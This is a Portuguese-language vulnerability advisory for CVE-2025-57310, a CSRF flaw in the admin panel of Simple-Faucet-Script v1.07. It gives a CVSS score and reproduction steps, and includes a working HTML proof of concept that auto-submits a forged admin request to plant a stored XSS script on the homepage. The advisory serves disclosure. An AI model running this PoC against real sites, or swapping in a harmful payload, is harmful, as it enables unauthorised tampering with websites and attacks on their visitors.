CVE-2025-57310

Uma vulnerabilidade de Cross-Site Request Forgery (CSRF) em Salmen2/Simple-Faucet-Script v1.07 através de uma requisição POST manipulada para admin.php?p=ads&c=1 permitindo que atacantes executem código arbitrário.

CWE

CWE-352: Cross-Site Request Forgery (CSRF)

Pontuação Base CVSS v3.1: 8.8 (Alto)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Resumo

O produto é vulnerável a Cross-Site Request Forgery (CSRF) no painel de administração. Quando um administrador autenticado visita uma página maliciosa contendo o PoC, o ataque CSRF causa modificação não autorizada do conteúdo da página inicial.

Passos para reproduzir

Faça login como administrador em https://example.com/admin.php
Abra o seguinte PoC e observe um popup de alerta na página inicial (XSS Armazenado).

<!DOCTYPE html>
  <html>
  <head>
      <title>CSRF PoC</title>
  </head>
  <body>
      <h3>Standard CSRF PoC</h3>
      <form action="https://example.com/admin.php?p=ads&c=1" method="post">
        <input type="hidden" name="spacetop" value="<script>alert();</script>" />
          <input type="submit" value="Submit request" />
      </form>
      <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
      </script>
  </body>
  </html>

CVE-2025-57310

Mais Populares

Impacto

Créditos